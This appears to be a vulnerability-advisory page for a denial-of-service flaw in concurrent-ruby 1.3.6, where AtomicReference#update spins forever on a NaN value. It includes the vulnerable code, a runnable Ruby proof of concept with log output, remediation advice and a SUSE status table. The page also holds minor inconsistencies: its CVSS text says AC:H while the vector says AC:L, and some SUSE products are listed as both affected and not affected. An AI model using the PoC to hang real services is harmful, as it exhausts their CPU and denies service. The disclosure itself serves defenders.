Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network-reachable with no auth or interaction, but AC:H reflects the required app-specific pattern and NaN-coercion precondition; impact is availability-only (CPU exhaustion/hang), so C:N/I:N/A:H.
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Primary rating from Vendor (https://github.com/ruby-concurrency/concurrent-ruby).
CVSS VectorVendor: https://github.com/ruby-concurrency/concurrent-ruby
Lifecycle Timeline
6DescriptionCVE.org
Summary
Concurrent::AtomicReference#update can enter a permanent busy retry loop when the current value is Float::NAN.
The issue is caused by the interaction between:
AtomicReference#update, which retries untilcompare_and_set(old_value, new_value)succeeds.- Numeric
compare_and_set, which checksold == old_valuebefore attempting the underlying atomic swap. - Ruby NaN semantics, where
Float::NAN == Float::NANis alwaysfalse.
As a result, once an AtomicReference contains Float::NAN, calling #update repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an AtomicReference, this can cause CPU exhaustion or permanent request/job hangs.
Version
Software: concurrent-ruby Version: 1.3.6 Commit: 7a1b78941c081106c20a9ca0144ac73a48d254ab
Details
AtomicReference#update retries until compare_and_set returns true:
def update
true until compare_and_set(old_value = get, new_value = yield(old_value))
new_value
endFor numeric expected values, compare_and_set uses numeric equality before attempting the underlying atomic compare-and-set:
def compare_and_set(old_value, new_value)
if old_value.kind_of? Numeric
while true
old = get
return false unless old.kind_of? Numeric
return false unless old == old_value
result = _compare_and_set(old, new_value)
return result if result
end
else
_compare_and_set(old_value, new_value)
end
endWhen the stored value is Float::NAN, old_value = get returns NaN. The later comparison old == old_value is false because NaN is not equal to itself. compare_and_set therefore returns false every time. AtomicReference#update treats that as a failed concurrent update and retries forever.
This is reachable through the public Concurrent::AtomicReference API and does not require native extensions or undefined behavior.
PoC
#!/usr/bin/env ruby
# frozen_string_literal: true
require 'concurrent/atomic/atomic_reference'
require 'concurrent/version'
puts "ruby=#{RUBY_DESCRIPTION}"
puts "concurrent_ruby_version=#{Concurrent::VERSION}"
puts "poc=AtomicReference#update livelock when current value is Float::NAN"
ref = Concurrent::AtomicReference.new(Float::NAN)
attempts = 0
finished = false
worker = Thread.new do
ref.update do |_old_value|
attempts += 1
0.0
end
finished = true
end
sleep 0.25
puts "nan_update_attempts_after_250ms=#{attempts}"
puts "nan_update_finished=#{finished}"
puts "nan_update_worker_alive=#{worker.alive?}"
if worker.alive? && !finished && attempts > 1000
puts 'result=REPRODUCED busy retry loop; update did not complete'
else
puts 'result=NOT_REPRODUCED'
end
worker.kill
worker.join
control = Concurrent::AtomicReference.new(1.0)
control_attempts = 0
control_result = control.update do |old_value|
control_attempts += 1
old_value + 1.0
end
puts "control_update_result=#{control_result.inspect}"
puts "control_update_attempts=#{control_attempts}"
puts "control_update_final_value=#{control.value.inspect}"Log evidence
ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]
concurrent_ruby_version=1.3.6
poc=AtomicReference#update livelock when current value is Float::NAN
nan_update_attempts_after_250ms=1926016
nan_update_finished=false
nan_update_worker_alive=true
result=REPRODUCED busy retry loop; update did not complete
control_update_result=2.0
control_update_attempts=1
control_update_final_value=2.0Impact
This is an application-level denial of service issue. If an application stores externally derived numeric data in a Concurrent::AtomicReference, an attacker or faulty upstream data source may be able to cause the stored value to become Float::NAN. Any later call to AtomicReference#update on that reference will spin indefinitely, repeatedly executing the update block and consuming CPU.
Credit
Pranjali Thakur - depthfirst ([depthfirst.com](<http://depthfirst.com>))
AnalysisAI
Denial of service in the concurrent-ruby gem (versions through 1.3.6) allows attackers to cause CPU exhaustion and permanent thread hangs by forcing an externally-derived numeric value stored in a Concurrent::AtomicReference to become Float::NAN. Because Ruby evaluates Float::NAN == Float::NAN as false, any subsequent call to AtomicReference#update livelocks - endlessly re-running the caller's block and pinning a CPU core, as the included reporter PoC demonstrates (over 1.9 million spin iterations in 250 ms). Publicly available exploit code exists; there is no public exploit identified as being used in active attacks, and the issue is not listed in CISA KEV.
Technical ContextAI
concurrent-ruby is a widely used Ruby gem providing thread-safe concurrency primitives, including Concurrent::AtomicReference, which offers atomic compare-and-set semantics. The root cause is CWE-835 (Loop with Unreachable Exit Condition, i.e. an infinite loop / livelock). AtomicReference#update is implemented as 'true until compare_and_set(old_value = get, new_value = yield(old_value))'. For Numeric expected values, compare_and_set guards the underlying atomic swap with a numeric equality check 'old == old_value' before calling _compare_and_set. IEEE-754 / Ruby NaN semantics dictate that NaN is never equal to itself, so when the stored value is Float::NAN the equality guard is permanently false, compare_and_set always returns false, and update interprets this as an unending stream of failed concurrent updates and retries forever. The affected package is identified by CPE pkg:rubygems/concurrent-ruby, and the flaw is reachable purely through the public API without native extensions or undefined behavior.
RemediationAI
Vendor-released patch: upgrade concurrent-ruby to 1.3.7 or later, then bump the dependency in your Gemfile/gemspec and run bundle update concurrent-ruby followed by redeploy; this is the primary and recommended fix per advisory GHSA-h8w8-99g7-qmvj (https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-h8w8-99g7-qmvj). Where immediate upgrade is not possible, apply application-level compensating controls: validate and reject non-finite floats before storing externally-derived numeric data in an AtomicReference (e.g. guard with value.finite? and substitute a safe default or raise on NaN/Infinity), which closes the input vector at the cost of added validation logic on numeric ingestion paths; alternatively replace the vulnerable AtomicReference#update calls with a guarded read-modify-write that special-cases NaN, or avoid storing raw Float values from untrusted upstream sources in AtomicReference entirely. Each workaround requires code changes and careful coverage of all numeric ingestion points, so upgrading to 1.3.7 remains preferable.
Same technique Denial Of Service
View allVendor StatusVendor
SUSE
Severity: Important| Product | Status |
|---|---|
| SUSE Linux Enterprise High Availability Extension 15 SP7 | Not-Affected |
| SUSE Linux Enterprise High Availability Extension 15 SP7 | Affected |
| SUSE Linux Enterprise High Availability Extension 15 SP7 | Affected |
| SUSE Linux Enterprise High Availability Extension 16.0 | Affected |
| SUSE Linux Enterprise High Availability Extension 16.1 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP7 | Affected |
| SUSE Linux Enterprise Module for Public Cloud 15 SP7 | Affected |
| SUSE Linux Enterprise Module for Server Applications 15 SP7 | Affected |
| SUSE Linux Enterprise Server 15 SP7 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP7 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.0 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| openSUSE Leap 16.0 | Affected |
| SUSE Linux Enterprise High Availability Extension 12 SP5 | Not-Affected |
| SUSE Linux Enterprise High Availability Extension 15 SP4 | Not-Affected |
| SUSE Linux Enterprise High Availability Extension 15 SP4 | Affected |
| SUSE Linux Enterprise High Availability Extension 15 SP4 | Affected |
| SUSE Linux Enterprise High Availability Extension 15 SP5 | Not-Affected |
| SUSE Linux Enterprise High Availability Extension 15 SP5 | Affected |
| SUSE Linux Enterprise High Availability Extension 15 SP5 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP4 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP4-LTSS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5-LTSS | Affected |
| SUSE Linux Enterprise Module for Public Cloud 15 SP4 | Affected |
| SUSE Linux Enterprise Module for Public Cloud 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Server Applications 15 SP4 | Affected |
| SUSE Linux Enterprise Module for Server Applications 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Server Applications 15 SP6 | Affected |
| SUSE Linux Enterprise Server 15 SP4 | Affected |
| SUSE Linux Enterprise Server 15 SP4-LTSS | Affected |
| SUSE Linux Enterprise Server 15 SP5 | Affected |
| SUSE Linux Enterprise Server 15 SP5-LTSS | Affected |
| SUSE Linux Enterprise Server 15 SP6 | Affected |
| SUSE Linux Enterprise Server 15 SP6-LTSS | Affected |
| SUSE Linux Enterprise Server for SAP Applications 12 SP5 | Not-Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP6 | Affected |
| SUSE Manager Proxy 4.3 | Affected |
| SUSE Manager Proxy LTS 4.3 | Affected |
| SUSE Manager Retail Branch Server 4.3 | Affected |
| SUSE Manager Retail Branch Server LTS 4.3 | Affected |
| SUSE Manager Server 4.3 | Affected |
| SUSE Manager Server LTS 4.3 | Affected |
| SUSE CaaS Platform 4.0 | Affected |
| SUSE Enterprise Storage 6 | Affected |
| SUSE Enterprise Storage 7 | Affected |
| SUSE Enterprise Storage 7.1 | Affected |
| SUSE Linux Enterprise High Availability Extension 12 SP4 | Not-Affected |
| SUSE Linux Enterprise High Availability Extension 15 | Not-Affected |
| SUSE Linux Enterprise High Availability Extension 15 | Affected |
| SUSE Linux Enterprise High Availability Extension 15 | Affected |
| SUSE Linux Enterprise High Availability Extension 15 SP1 | Not-Affected |
| SUSE Linux Enterprise High Availability Extension 15 SP1 | Affected |
| SUSE Linux Enterprise High Availability Extension 15 SP1 | Affected |
| SUSE Linux Enterprise High Availability Extension 15 SP2 | Not-Affected |
| SUSE Linux Enterprise High Availability Extension 15 SP2 | Affected |
| SUSE Linux Enterprise High Availability Extension 15 SP2 | Affected |
| SUSE Linux Enterprise High Availability Extension 15 SP3 | Not-Affected |
| SUSE Linux Enterprise High Availability Extension 15 SP3 | Affected |
| SUSE Linux Enterprise High Availability Extension 15 SP3 | Affected |
| SUSE Linux Enterprise High Availability Extension 15 SP6 | Not-Affected |
| SUSE Linux Enterprise High Availability Extension 15 SP6 | Affected |
| SUSE Linux Enterprise High Availability Extension 15 SP6 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP1 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP1-ESPOS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP1-LTSS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP2 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP2-ESPOS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP2-LTSS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP3 | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP3-ESPOS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP3-LTSS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP4-ESPOS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP5-ESPOS | Affected |
| SUSE Linux Enterprise High Performance Computing 15 SP6 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP4 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Public Cloud 15 SP1 | Affected |
| SUSE Linux Enterprise Module for Public Cloud 15 SP2 | Affected |
| SUSE Linux Enterprise Module for Public Cloud 15 SP3 | Affected |
| SUSE Linux Enterprise Module for Public Cloud 15 SP6 | Affected |
| SUSE Linux Enterprise Module for Server Applications 15 SP1 | Affected |
| SUSE Linux Enterprise Module for Server Applications 15 SP2 | Affected |
| SUSE Linux Enterprise Module for Server Applications 15 SP3 | Affected |
| SUSE Linux Enterprise Real Time 15 SP2 | Affected |
| SUSE Linux Enterprise Real Time 15 SP3 | Affected |
| SUSE Linux Enterprise Real Time 15 SP4 | Affected |
| SUSE Linux Enterprise Server 15 SP1 | Affected |
| SUSE Linux Enterprise Server 15 SP1-BCL | Affected |
| SUSE Linux Enterprise Server 15 SP1-LTSS | Affected |
| SUSE Linux Enterprise Server 15 SP2 | Affected |
| SUSE Linux Enterprise Server 15 SP2-BCL | Affected |
| SUSE Linux Enterprise Server 15 SP2-LTSS | Affected |
| SUSE Linux Enterprise Server 15 SP3 | Affected |
| SUSE Linux Enterprise Server 15 SP3-BCL | Affected |
| SUSE Linux Enterprise Server 15 SP3-LTSS | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP1 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP2 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP3 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP4 | Affected |
| SUSE Linux Enterprise Server for SAP Applications 15 SP5 | Affected |
| SUSE Manager Proxy 4.0 | Affected |
| SUSE Manager Proxy 4.1 | Affected |
| SUSE Manager Proxy 4.2 | Affected |
| SUSE Manager Retail Branch Server 4.0 | Affected |
| SUSE Manager Retail Branch Server 4.1 | Affected |
| SUSE Manager Retail Branch Server 4.2 | Affected |
| SUSE Manager Server 4.0 | Affected |
| SUSE Manager Server 4.1 | Affected |
| SUSE Manager Server 4.2 | Affected |
| openSUSE Leap 15.3 | Not-Affected |
| openSUSE Leap 15.3 | Affected |
| openSUSE Leap 15.3 | Affected |
| openSUSE Leap 15.3 | Affected |
| openSUSE Leap 15.4 | Not-Affected |
| openSUSE Leap 15.4 | Affected |
| openSUSE Leap 15.4 | Affected |
| openSUSE Leap 15.4 | Affected |
| openSUSE Leap 15.5 | Not-Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Not-Affected |
| openSUSE Leap 15.6 | Affected |
| openSUSE Leap 15.6 | Affected |
| openSUSE Leap 15.6 | Affected |
| suse/rmt-server | Affected |
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External POC / Exploit Code
Leaving vuln.today
EUVD-2026-38810
GHSA-h8w8-99g7-qmvj